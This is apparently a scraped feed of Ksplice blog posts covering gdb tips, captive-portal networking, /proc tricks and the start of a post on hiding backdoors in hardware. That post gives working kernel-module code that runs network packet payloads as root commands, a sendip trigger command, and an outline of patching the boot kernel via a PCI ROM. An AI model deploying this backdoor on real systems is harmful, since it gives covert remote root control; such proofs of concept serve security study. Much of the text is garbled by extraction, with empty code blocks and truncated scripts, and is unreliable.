But how do I tell gdb to put the two together? If the debug symbols include relative paths, I can use gdb's <code>directory</code> command to add the source directory to my source path:</p> <pre><code>[~ </code></pre> <p>Sometimes, however, debug symbols end up with absolute paths, such as the kernel's. In that case, I can use <code>set substitute-path</code> to tell gdb how to translate paths:</p> <pre><code>[~ </code></pre> </li> <li> <p><a name="macros"></a>Debugging macros</p> :</p> <pre><code>(gdb) p GFP_ATOMIC No symbol "GFP_ATOMIC" in current context. (gdb) p task_is_stopped(&init_task) No symbol "task_is_stopped" in current context. </code></pre> <p>However, if you're willing to tell GCC to generate debug symbols specifically optimized for gdb, using <code>-ggdb3</code>, it can preserve this information:</p> <pre><code>$ make KCFLAGS=-ggdb3 ... (gdb) break schedule (gdb) continue (gdb) p/x GFP_ATOMIC $1 = 0x20 (gdb) p task_is_stopped_or_traced(init_task) $2 = 0 </code></pre> <p>You can also use the <code>macro</code> and <code>info macro</code> commands to work with macros from inside your gdb session:</p> <pre><code>) </code></pre> <p).</p> </li> <li> <p><a name="variables"></a>gdb variables</p> <p>Whenever you <code>print</code> a variable in gdb, it prints this weird <code>$NN =</code> before it in the output:</p> <pre><code>(gdb) p 5+5 $1 = 10 </code></pre> <p>This is actually a gdb variable, that you can use to reference that same variable any time later in your session:</p> <pre><code>(gdb) p $1 $2 = 10 </code></pre> <p>You can also assign your own variables for convenience, using <code>set</code>:</p> <pre><code>(gdb) set $foo = 4 (gdb) p $foo $3 = 4 </code></pre> <p>This can be useful to grab a reference to some complex expression or similar that you'll be referencing many times, or, for example, for simplicity in writing a conditional breakpoint (see tip 1).</p> </li> <li> <p><a name="registers"></a>Register variables</p> <p>In addition to the numeric variables, and any variables you define, gdb exposes your machine's registers as pseudo-variables, including some cross-architecture aliases for common ones, like <code>$sp</code> for the the stack pointer, or <code>$pc</code> for the program counter or instruction pointer.</p> <p>These are most useful when debugging assembly code or code without debugging symbols. Combined with a knowledge of your machine's calling convention, for example, you can use these to inspect function parameters:</p> <pre><code>(gdb) break write if $rsi == 2 </code></pre> <p>will break on all writes to stderr on amd64, where the <code>$rsi</code> register is used to pass the first parameter.</p> </li> <li> <p><a name="examine"></a>The <code>x</code> command</p> <p>Most people who've used gdb know about the <code>print</code> or <code>p</code> command, because of its obvious name, but I've been surprised how many don't know about the power of the <code>x</code> command.</p> <p><code>x</code> (for "e<strong>x</strong>amine") is used to output regions of memory in various formats. It takes two arguments in a slightly unusual syntax:</p> <pre><code>x/FMT ADDRESS </code></pre> <p><code>ADDRESS</code>, unsurprisingly, is the address to examine; It can be an arbitrary expression, like the argument to <code>print</code>.</p> <p><code>FMT</code> controls how the memory should be dumped, and consists of (up to) three components:</p> <ul> <li>A numeric COUNT of how many elements to dump</li> <li>A single-character FORMAT, indicating how to interpret and display each element</li> <li>A single-character SIZE, indicating the size of each element to display.</li> </ul> <p><code>x</code> displays COUNT elements of length SIZE each, starting from ADDRESS, formatting them according to the FORMAT.</p> <p>There are many valid "format" arguments; <code>help x</code> in gdb will give you the full list, so here's my favorites:</p> <p><code>x/x</code> displays elements in hex, <code>x/d</code> displays them as signed decimals, <code>x/c</code> displays characters, <code>x/i</code> disassembles memory as instructions, and <code>x/s</code> interprets memory as C strings.</p> <p>The SIZE argument can be one of: <code>b</code>, <code>h</code>, <code>w</code>, and <code>g</code>, for one-, two-, four-, and eight-byte blocks, respectively.</p> <p>If you have debug symbols so that GDB knows the types of everything you might want to inspect, <code>p</code> is usually a better choice, but if not, <code>x</code> is invaluable for taking a look at memory.</p> <pre><code>[~]$ grep saved_command /proc/kallsyms ffffffff81946000 B saved_command_line (gdb) x/s 0xffffffff81946000 ffffffff81946000 <>: "root=/dev/sda1 quiet" </code></pre> <p><code>x/i</code> is invaluable as a quick way to disassemble memory:</p> <pre><code> </code></pre> <p>If I'm stopped at a segfault in unknown code, one of the first things I try is something like <code>x/20i $ip-40</code>, to get a look at what the code I'm stopped at looks like.</p> <p>A quick-and-dirty but surprisingly effective way to debug memory leaks is to let the leak grow until it consumes most of a program's memory, and then attach <code>gdb</code> and just <code>x</code> random pieces of memory. Since the leaked data is using up most of memory, you'll usually hit it pretty quickly, and can try to interpret what it must have come from.</p> </li> </ol> ~<a href="">nelhage <> Coffee shop Internet access Ksplice Post Importer 2011-01-17T23:00:00+00:00 2012-08-03T14:21:20+00:00 <p align="center">How does coffee shop Internet access work?</p> <p align="center"> <img src="" alt="wireless coffee" title="wireless coffee" width="329" class="aligncenter size-full wp-image-2730" /> </p> <p> You pull out your laptop and type <code></code> into the URL bar on your browser. Instead of your friendly search box, you get a page where you pay money or maybe watch an advertisement, agree to some terms of service, and are only then free to browse the web.</p> <p> What is going on behind the scenes to give the coffee shop that kind of control over your packets? Let's trace an example of that process from first broadcast to last redirect and find out.</p> <p> </p> <h3>Step 1: Get our network configuration</h3> When I first sit down and turn on my laptop, it needs to get some network information and join a wireless network. <p> My laptop is configured to use <a href="">DHCP</a> to request network configuration information and an <a href="">IP address</a> from a DHCP server in its <a href="">Layer 2</a> <a href="">broadcast domain</a>.</p> <p> This laptop happens to use the DCHP client <a href=""><code>dhclient</code></a>. <code>/etc/dhcp3/dhclient.conf</code> is a sample <code>dhclient</code> configuration file describing among other things what the client will request from a DHCP server (your network manager might frob that configuration -- on my Ubuntu laptop, <a href="">NetworkManager</a> keeps a modified config at <code>/var/run/nm-dhclient-wlan0.conf</code>).</p> <p> A DHCP negotiation happens in 4 parts: </p> <p> <img src="" alt="DHCP" title="DHCP" width="696" /> </p> <p> <strong>Step 1: DHCP discovery.</strong> The DHCP client (us, <code>0.0.0.0</code> in the screencap) sends a message to <a href="">Ethernet</a> broadcast address <code>ff:ff:ff:ff:ff:ff</code> to discover DHCP servers (<a href="">Wireshark</a> shows IP addresses in the summary view, so we see broadcast IP address <code>255.255.255.255</code>). The packet includes a parameter request list with the parameters in the <code>dhclient</code> config file. The parameters in my <code>/var/run/nm-dhclient-wlan0.conf</code> are:</p> <p> </p> <pre>subnet-mask, broadcast-address, time-offset, routers, domain-name, domain-name-servers, domain-search, host-name, netbios-name-servers, netbios-scope, interface-mtu, rfc3442-classless-static-routes, ntp-servers;</pre> <strong>Step 2: DHCP offer.</strong> DHCP servers that get the discovery broadcast allocate an IP address and respond with a DHCP broadcast containing that IP address and other lease information. This is typically a simple race -- whoever gets an offer packet to the requester first wins. In our case, only <a href="">MAC address</a> <code>00:90:fb:17:ca:4e</code> (Wireshark shows IP address <code>192.168.5.1</code>) answers our discovery broadcast. <p> <strong>Step 3: DHCP request.</strong> The DHCP client picks an offer and sends another DHCP broadcast, informing the DHCP servers of the winner and letting the losers de-allocate their reserved IP addresses.</p> <p> <strong>Step 4: DHCP acknowledgment.</strong> The winning DHCP server acknowledges completion of the DHCP exchange and reiterates the DHCP lease parameters. We now have an IP address (<code>192.168.5.87</code>) and know the IP address of our gateway router (<code>192.168.5.1</code>):</p> <p> <img title="DHCP lease" src="" alt="DHCP lease" width="753" /> </p> <h3>Step 2: Find our gateway</h3> We: <p> <img src="" alt="ARP" title="ARP" width="716" /> </p> <p> Before offering us IP address <code>192.168.5.87</code>, the DHCP server (<code>Portwell_17:ca:4</code>) sends an <a href="">ARP</a> request for that address, saying "Who has <code>192.168.5.87</code>. If that's you, respond with your MAC address". Since nobody answers, the server can be fairly confident that the IP address is not already in use.</p> <p> After getting assigned IP address <code>192.168.5.87</code>, we (<code>Apple_8f:95:3f</code>) double-check that nobody else is using it with a few ARP requests that nobody answers. We then send a few <a href="">gratuitous ARPs</a> to let everyone know that it's ours and they should update their ARP caches.</p> <p> We then make an ARP request for the MAC address corresponding to the IP address for our gateway router: <code>192.168.5.1</code>. Our DHCP server happens to also be our gateway router and responds claiming the address.</p> <p> </p> <h3>Step 3: Get past the terms of service</h3> Now that we have an IP address and know the IP address of our gateway, we should be able to send packets through our gateway and out to the Internet. <p> I type <code></code> into my browser's URL bar. There is no period at the end, so the local <a href="">DNS resolver</a> can't tell if this is a <a href="">fully-qualified domain name</a>. This is what happens:</p> <p> <img title="DNS resolution" src="" alt="DNS resolution" width="827" /></p> <p> Looking back at the DHCP acknowledgement, as part of the lease we were given a domain name: <code>sbx07338.cambrma.wayport.net</code>. What our local DNS resolver decides to do with host <code></code>, since it potentially isn't fully-qualified, is append the domain name from the DHCP lease to it (eg <code></code> in the first iteration) and try to resolve that. When the resolution fails, it tries appending decreasingly specific parts of the DHCP domain name, finds that all of them fail, and then gives up and tries to resolve plain old <code></code>. This works, and we get back IP address <code>173.194.35.104</code>. A <code>whois</code> after the fact confirms that this is Google:</p> <p> </p> <pre: CA</pre> We complete a <a href="">TCP handshake</a> with ``<code>173.194.35.104</code>'' and make an <a href="">HTTP GET</a> request for the resource we want (<code>/</code>). Instead of getting back an <a href="">HTTP 200</a> and the Google home page, we receive a <a href="">302 redirect</a> to <code>?=</code>: <p> <img title="TCP handshake + HTTP" src="" alt="TCP handshake + HTTP" width="946" /></p> <p> Our MAC address and IP address are conveniently encoded in the redirect URL.</p> <p> So what is going on here? Why didn't we get back the Google home page?</p> <p> Our DHCP server/router, <code>192.168.5.1</code>, is capturing our HTTP traffic and redirecting it to a special landing page. We don't get to make it out to Google until we finish playing a game with the coffee shop.</p> <p> </p><hr width="80%" /> <em>transparently proxying</em> our HTTP requests to an evil malware-laden clone of <code></code>, we'd have <strong>no way to notice</strong> because there wouldn't be a redirect and the URL wouldn't change. <p> Worrisome? Definitely, if you're trusting a gateway with sensitive information. If you don't want to have to trust your gateway, you have to use point-to-point encryption: HTTPS, SSH, your favorite <a href="">IPSec</a> or <a href="">SSL</a> <a href="">VPN</a>, etc. And then hope there aren't bugs in your secure protocol's implementation.</p> <p> </p><hr width="80%" /> Well, ain't nothing to it but to do a DNS lookup on the host name in the redirect (<code>nmd.sbx07338.cambrma.wayport.ne</code>) and make our request there: <p> <img src="" alt="DNS 98.98.48.198" title="DNS 98.98.48.198" width="766" /> </p> <p> <code>nmd</code> is a host in the domain from our DHCP lease, so our local resolver's rules manage to resolve it in one try, and we get IP address <code>98.98.48.198</code>. This is incidentally the IP address of the DHCP Server Identifier we received with our DHCP lease.</p> <p> We try our HTTP GET request again there and get back an HTTP 200 and a landing page (still not the Google home page), which the browser renders.</p> <p> The landing page has some ads and terms of service, and a button to click that we're told will grant us Internet access. That click generates an HTTP POST:</p> <p> <img src="" alt="get to starbucks.yahoo.com" title="get to starbucks.yahoo.com" width="928" /> </p> <h3>Step 4: Get to Google</h3> Having agreed to the terms of service, <code>98.98.48.198</code> communicates to our gateway router that our MAC address (which was passed in the redirect URL) should be added to a whitelist, and our traffic shouldn't be captured and redirected anymore -- our HTTP packets should be allowed out onto the Internet. <p> <code>98.98.48.198</code> responds to our POST with a final HTTP 302 redirect, this time to <code>starbucks.yahoo.com</code>. We do a final DNS lookup, make our HTTP GET, and get served an HTTP 200 and a webpage with some ads enticing us to level up our coffee addiction. We now have real Internet access and can get to <code></code>.</p> <p> And that's the story! This ability to hijack HTTP traffic at a gateway until terms are met has over the years facilitated a huge industry based around private WiFi networks at coffee shops, airports, and hotels.</p> <p> It is also a reminder about just how much control your gateway, or a device pretending to be your gateway, has when you use insecure protocols. <a href="">Upside-down-ternet</a> is a playful example of exploiting the trust in your gateway, but bogus DNS resolution or transparently proxying requests to malicious sites makes use of this same principle.</p> <p> ~<a href="">jesst" /> Solving problems with proc Ksplice Post Importer 2011-01-10T23:00:00+00:00 2012-08-03T14:42:40+00:00 <link rel="stylesheet" type="text/css" href="" /> <div class="keegan"> <p>The Linux kernel exposes a wealth of information through the <code>proc</code> special filesystem. It's not hard to find an <a href="">encyclopedic reference</a> about <code>proc</code>. In this article I'll take a different approach: we'll see how <code>proc</code> tricks can solve a number of real-world problems. All of these tricks should work on a recent Linux kernel, though some will fail on older systems like RHEL version 4.</p> <p>Almost all Linux systems will have the <code>proc</code> filesystem mounted at <code>/proc</code>. If you look inside this directory you'll see a ton of stuff:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">mount | grep ^proc</span> proc on /proc type proc (rw,noexec,nosuid,nodev) <span class="Prompt">keegan@lyle$</span> <span class="Entry">ls /proc</span> </code></pre> <p>These directories and files don't exist anywhere on disk. Rather, the kernel generates the contents of <code>/proc</code> as you read it. <code>proc</code> <code>/proc</code>, though we won't discuss this further.</p> <p>Each process has a directory in <code>/proc</code>, named by its numerical process identifier (PID). So for example, information about <code>init</code> (PID 1) is stored in <code>/proc/1</code>. There's also a symlink <code>/proc/self</code>, which each process sees as pointing to its own directory:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">ls -l /proc/self</span> lrwxrwxrwx 1 root root 64 Jan 6 13:22 /proc/self -> 13833 </code></pre> <p>Here we see that 13833 was the PID of the <code>ls</code> process. Since <code>ls</code> has exited, the directory <code>/proc/13883</code> will have already vanished, unless your system reused the PID for another process. The contents of <code>/proc</code> are constantly changing, even in response to your queries!</p> <div id="back-from-the-dead"> <h3>Back from the dead</h3> <p>It's happened to all of us. You hit the up-arrow one too many times and accidentally wiped out that <em>really</em> important disk image.</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">rm hda.img</span> </code></pre> <p>Time to think fast! Luckily you were still computing its checksum in another terminal. And UNIX systems won't actually delete a file on disk while the file is in use. Let's make sure our file stays "in use" by suspending <code>md5sum</code> with control-Z:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">md5sum hda.img</span> ^Z [1]+ Stopped md5sum hda.img </code></pre> <p>The <code>proc</code> filesystem contains links to a process's open files, under the <code>fd</code> subdirectory. We'll get the PID of <code>md5sum</code> and try to recover our file:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">jobs -l</span> [1]+ 14595 Stopped md5sum hda.img <span class="Prompt">keegan@lyle$</span> <span class="Entry">ls -l /proc/14595/fd/</span>) <span class="Prompt">keegan@lyle$</span> <span class="Entry">cp /proc/14595/fd/3 saved.img</span> <span class="Prompt">keegan@lyle$</span> <span class="Entry">du -h saved.img</span> 320G saved.img </code></pre> <p>Disaster averted, thanks to <code>proc</code>. <code>ln</code> command and associated system calls have no way to name a deleted file. On FreeBSD we could use <a href=""><code>fsdb</code></a>, but I'm not aware of a similar tool for Linux. Suggestions are welcome!</p> </div> <div id="redirect-harder"> <h3>Redirect harder</h3> <p>Most UNIX tools can read from standard input, either by default or with a specified filename of "<code>-</code>". But sometimes we have to use a program which requires an explicitly named file. <code>proc</code> provides an elegant workaround for this flaw.</p> <p>A UNIX process refers to its open files using integers called <em>file descriptors</em>. When we say "standard input", we really mean "file descriptor 0". So we can use <code>/proc/self/fd/0</code> as an explicit name for standard input:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat crap-prog.py </span> import sys print file(sys.argv[1]).read() </code></pre> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">echo hello | python crap-prog.py </span> IndexError: list index out of range <span class="Prompt">keegan@lyle$</span> <span class="Entry">echo hello | python crap-prog.py -</span> IOError: [Errno 2] No such file or directory: '-' <span class="Prompt">keegan@lyle$</span> <span class="Entry">echo hello | python crap-prog.py /proc/self/fd/0</span> hello </code></pre> <p>This also works for standard output and standard error, on file descriptors 1 and 2 respectively. This trick is useful enough that many distributions provide symlinks at <code>/dev/stdin</code>, etc.</p> <p>There are a lot of possibilities for where <code>/proc/self/fd/0</code> might point:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">ls -l /proc/self/fd/0</span> lrwx------ 1 keegan keegan 64 Jan 6 16:00 /proc/self/fd/0 -> /dev/pts/6 <span class="Prompt">keegan@lyle$</span> <span class="Entry">ls -l /proc/self/fd/0 < /dev/null</span> lr-x------ 1 keegan keegan 64 Jan 6 16:00 /proc/self/fd/0 -> /dev/null <span class="Prompt">keegan@lyle$</span> <span class="Entry">echo | ls -l /proc/self/fd/0</span> lr-x------ 1 keegan keegan 64 Jan 6 16:00 /proc/self/fd/0 -> pipe:[9159930] </code></pre> <p>In the first case, stdin is the pseudo-terminal created by my <a href=""><code>screen</code></a> session. In the second case it's redirected from a different file. In the third case, stdin is an anonymous pipe. The symlink target isn't a real filename, but <code>proc</code> provides the appropriate magic so that we can read the file anyway. The filesystem nodes for anonymous pipes live in the <a href=""><code>pipefs</code></a> special filesystem — specialer than <code>proc</code>, because it can't even be mounted.</p> </div> <div id="the-phantom-progress-bar"> <h3>The phantom progress bar</h3> <p>Say we have some program which is slowly working its way through an input file. We'd like a progress bar, but we already launched the program, so it's too late for <a href=""><code>pv</code></a>.</p> <p>Alongside <code>/proc/$PID/fd</code> we have <code>/proc/$PID/fdinfo</code>, which will tell us (among other things) a process's current position within an open file. Let's use this to make a little script that will attach a progress bar to an existing process:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat phantom-progress.bash</span> #! </code></pre> <p>We pass the PID and a file descriptor as arguments. Let's test it:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat slow-reader.py </span> import sys import time f = file(sys.argv[1], 'r') while f.read(1024): time.sleep(0.01) </code></pre> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">python slow-reader.py bigfile &</span> [1] 18589 <span class="Prompt">keegan@lyle$</span> <span class="Entry">ls -l /proc/18589/fd</span> <span class="Prompt">keegan@lyle$</span> <span class="Entry">./phantom-progress.bash 18589 3</span> </code></pre> <p>And you should see a nice <code>curses</code> progress bar, courtesy of <a href=""><code>dialog</code></a>. Or replace <code>dialog</code> with <a href=""><code>gdialog</code></a> and you'll get a GTK+ window.</p> </div> <div id="chasing-plugins"> <h3>Chasing plugins</h3> <p.</p> <p>The exact set of libraries loaded will depend on the user's config files, as well as environment variables like <a href=""><code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code></a>. So you ask the user to start <code>fooserver</code> exactly as they normally do. You get the process's PID and dump its memory map:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat /proc/21637/maps</span>] </code></pre> <p>That's a serious red flag: <code>fooserver</code> is loading the <code>bar</code> plugin from FooServer version 1.2 and the <code>quux</code> plugin from FooServer version 1.3. If the versions aren't binary-compatible, that might explain the mysterious crashes. You can now hassle the user for their config files and try to <a href="">fix the problem</a>.</p> <p>Just for fun, let's take a closer look at what the memory map means. Right away, we can recognize a memory address range (first column), a filename (last column), and file-like permission bits <code>rwx</code>. So each line indicates that the contents of a particular file are available to the process at a particular range of addresses with a particular set of permissions. For more details, see the <a href=""><code>proc</code> manpage</a>.</p> <p>The executable itself is mapped twice: once for executing code, and once for reading and writing data. The same is true of the shared libraries. The flag <code>p</code> <a href="">this <code>glibc</code> source comment</a>. There are also a number of "anonymous" mappings lacking filenames; these exist in memory only. An allocator like <code>malloc</code> can ask the kernel for such a mapping, then parcel out this storage as the application requests it.</p> <p>The last two entries are special creatures which aim to reduce system call overhead. At boot time, the kernel will determine the fastest way to make a system call on your particular CPU model. It builds this instruction sequence into a little shared library in memory, and provides this <a href="">virtual dynamic shared object</a> (named <code>vdso</code>) for use by userspace code. Even so, the overhead of switching to the kernel context should be avoided when possible. Certain system calls such as <code>gettimeofday</code> are merely reading information maintained by the kernel. The kernel will store this information in the public <a href="">virtual system call</a> page (named <code>vsyscall</code>), so that these "system calls" can be implemented entirely in userspace.</p> </div> <div id="counting-interruptions"> <h3>Counting interruptions</h3> <p>We have a process which is taking a long time to run. How can we tell if it's CPU-bound or IO-bound?</p> <p>When a process makes a system call, the kernel might let a different process run for a while before servicing the request. This <em>voluntary</em> context switch is especially likely if the system call requires waiting for some resource or event. If a process is only doing pure computation, it's not making any system calls. In that case, the kernel uses a hardware timer interrupt to eventually perform a <em>nonvoluntary</em> context switch.</p> <p>The file <code>/proc/$PID/status</code> has fields labeled <code>voluntary_ctxt_switches</code> and <code>nonvoluntary_ctxt_switches</code> showing how many of each event have occurred. Let's try our slow reader process from before:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">python slow-reader.py bigfile &</span> [1] 15264 <span class="Prompt">keegan@lyle$</span> <span class="Entry">watch -d -n 1 'cat /proc/15264/status | grep ctxt_switches'</span> </code></pre> <p>You should see mostly voluntary context switches. Our program calls into the kernel in order to read or sleep, and the kernel can decide to let another process run for a while. We could use <a href=""><code>strace</code></a> to see the individual calls. Now let's try a tight computational loop:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat tightloop.c</span> int main() { while (1) { } }</code></pre> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">gcc -Wall -o tightloop tightloop.c</span> <span class="Prompt">keegan@lyle$</span> <span class="Entry">./tightloop &</span> [1] 30086 <span class="Prompt">keegan@lyle$</span> <span class="Entry">watch -d -n 1 'cat /proc/30086/status | grep ctxt_switches'</span> </code></pre> <p>You'll see exclusively nonvoluntary context switches. This program isn't making system calls; it just spins the CPU until the kernel decides to let someone else have a turn. Don't forget to kill this useless process!</p> </div> <div id="staying-ahead-of-the-oom-killer"> <h3>Staying ahead of the OOM killer</h3> <p <a href="">ad-hoc heuristic</a> to choose a victim process and unceremoniously kill it.</p> <p>Needless to say, this feature is <a href="">controversial</a>. The kernel has no reliable idea of who's actually responsible for consuming the machine's memory. The victim process may be totally innocent. You can <a href="">disable memory overcommitting</a> on your own machine, but there's inherent risk in breaking assumptions that processes make — even when those assumptions are harmful.</p> <p>As a less drastic step, let's keep an eye on the OOM killer so we can predict where it might strike next. The victim process will be the process with the highest "OOM score", which we can read from <code>/proc/$PID/oom_score</code>:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat oom-scores.bash</span> #! </code></pre> <p>For each process we print the OOM score, the PID (obtained from the directory name) and the process's command line. <code>proc</code> provides string arrays in <code>NULL</code>-delimited format, which we convert using <code>tr</code>. It's important to suppress error output using <code>2>/dev/null</code> because some of the processes found by <code>find</code> (including <code>find</code> itself) will no longer exist within the loop. Let's see the results:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">./oom-scores.bash </span> ... </code></pre> <p>Unsurprisingly, my web browser and Flash plugin are prime targets for the OOM killer. But the rankings might change if some runaway process caused an actual out-of-memory condition. Let's (carefully!) run a program that will (slowly!) eat 500 MB of RAM:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">cat oomnomnom.c</span> ; }</code></pre> <p:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">gcc -Wall -o oomnomnom oomnomnom.c</span> <span class="Prompt">keegan@lyle$</span> <span class="Entry">./oomnomnom &</span> [1] 19697 <span class="Prompt">keegan@lyle$</span> <span class="Entry">watch -d -n 1 './oom-scores.bash; echo; free -m'</span> </code></pre> <p>You'll see <code>oomnomnom</code> climb to the top of the list.</p> <p>So we've seen a few ways that <code>proc</code> can help us solve problems. Actually, we've only scratched the surface. Inside each process's directory you'll find information about resource limits, chroots, CPU affinity, page faults, and much more. What are your favorite <code>proc</code> tricks? Let us know in the comments!</p> ~<a href="">keegan </a> </div> <" /> Hosting backdoors in hardware Ksplice Post Importer 2010-10-26T23:00:00+00:00 2012-08-03T14:26:08+00:00 <link rel="stylesheet" type="text/css" href="" /> <p>Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors?</p> <p>.</p> <p> I'll let you figure out the social engineering side of getting the hardware installed (birthday "present"?), and instead focus on some of the technical details involved.</p> <p> Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We're going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it's mainly just a matter of engineering effort to support a wide range of kernels.</p> <p> </p> <h3>Modifying the kernel with a kernel module</h3> The easiest way to modify the behavior of our kernel is by loading a kernel module. Let's start by writing a module that will allow us to remotely control a machine. <p> IP packets have a field called the <a href="">protocol number</a>, which is how systems distinguish between TCP and UDP and other protocols. We're going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we'll execute its data payload in a shell running as root. This will give us complete remote control of the machine.</p> <p> The Linux kernel has a global table <code><a href="">inet_protos</a></code> consisting of a <code><a href="">struct net_protocol</a> *</code> for each protocol number. The important field for our purposes is <code>handler</code>, a pointer to a function which takes a single argument of type <code><a href="">struct sk_buff</a> *</code>. Whenever the Linux kernel receives an IP packet, it looks up the entry in <code>inet_protos</code> corresponding to the protocol number of the packet, and if the entry is not <code>NULL</code>, it passes the packet to the <code>handler</code> function. The <code>struct sk_buff</code> type is quite complicated, but the only field we care about is the <code>data</code> field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the <code><a href="">call_usermodehelper</a></code> function, so our handler looks like this:</p> <p> </p> <pre>int exec_packet(struct sk_buff *skb) { char *argv[4] = {"/bin/sh", "-c", skb->data, NULL}; char *envp[1] = {NULL}; call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT); kfree_skb(skb); return 0; } </pre> We also have to define a <code>struct net_protocol</code> which points to our packet handler, and register it when our module is loaded: <p> </p> <pre>const struct net_protocol proto163_protocol = { .handler = exec_packet, .no_policy = 1, .netns_ok = 1 }; int init_module(void) { return (inet_add_protocol(&proto163_protocol, 163) < 0); } </pre> Let's build and load the module: <pre>rwbarton@target:~$ make make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic' CC [M] /home/rwbarton/exec163.o Building modules, stage 2. MODPOST 1 modules CC /home/rwbarton/exec163.mod.o LD [M] /home/rwbarton/exec163.ko make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic' rwbarton@target:~$ sudo insmod exec163.ko </pre> Now we can use <code>sendip</code> (available in the <code>sendip</code> Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named <code>control</code>) to the target machine: <p> </p> <pre>rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip </pre> <pre>rwbarton@target:~$ ls -l /tmp/x -rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x </pre> Great! It worked. Note that we have to send a null-terminated string in the payload, because that's what <code>call_usermodehelper</code> expects to find in <code>argv</code> and we didn't add a terminator in <code>exec_packet</code>. <p> </p> <h3>Modifying the on-disk kernel</h3> In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we're just going to give a high-level overview of what needs to be done. <p> The kernel lives in the <code>/boot</code> directory; on my test system, it's called <code>/boot/vmlinuz-2.6.32-24-generic</code>. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We're going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.</p> <p> When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:</p> <p> </p> <ol> <li>it allocated kernel memory to store our kernel module, including both code (the <code>exec_packet</code> function) and data (<code>proto163_protocol</code> and the string constants in <code>exec_packet</code>) sections; </li> <li> it performed <a href="">relocations</a>, so that, for example, <code>exec_packet</code> knows the addresses of the kernel functions it needs to call such as <code>kfree_skb</code>, as well as the addresses of its string constants; </li> <li> it ran our <code>init_module</code> function. </li> </ol> We have to address each of these points in figuring out how to apply our changes without making use of the module loader. <p> The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel's startup function to install a pointer to our <code>proto163_protocol</code> in <code>inet_protos[163]</code>, since we have an exact copy of its code.</p> <p> The first point is a little tricky. Normally, we would call <code>kmalloc</code> to allocate some memory to store our module's code and data, but we need to make our changes before the kernel has started running, so the memory allocator won't be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call <code>kmalloc</code>, but we'd still have to find somewhere to store that extra code.</p> <p> What we're going to do is cheat and find some data which isn't used for anything terribly important, and overwrite it with our own data. In general, it's hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it's unlikely to ever be triggered. We'll need well under 180 bytes for our data, so let's look for strings in the kernel image which are at least that long:</p> <p> </p> <pre>rwbarton@target:~$ strings vmlinux | egrep '^.{180}' | less </pre> One of the output lines is this one: <pre style="overflow: auto; "><4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file. </pre> This sounds pretty obscure to me, and a Google search doesn't find any occurrences of this message which aren't from the kernel source code. So, we're going to just overwrite it with our data. <p> Having worked out what changes need to be applied to the decompressed kernel, we can modify the <code>vmlinuz</code> file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don't expect the decompression to fail, because we didn't modify the compressed image at all. So we'll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in <code>vmlinuz</code> that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that <code>jmp</code> instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.</p> <p> </p> <h3>Modifying the kernel during the boot process</h3> Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that? <p> The PCI specification defines a "expansion ROM" mechanism whereby a PCI card can include a bit of code for the <a href="">BIOS</a> to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more 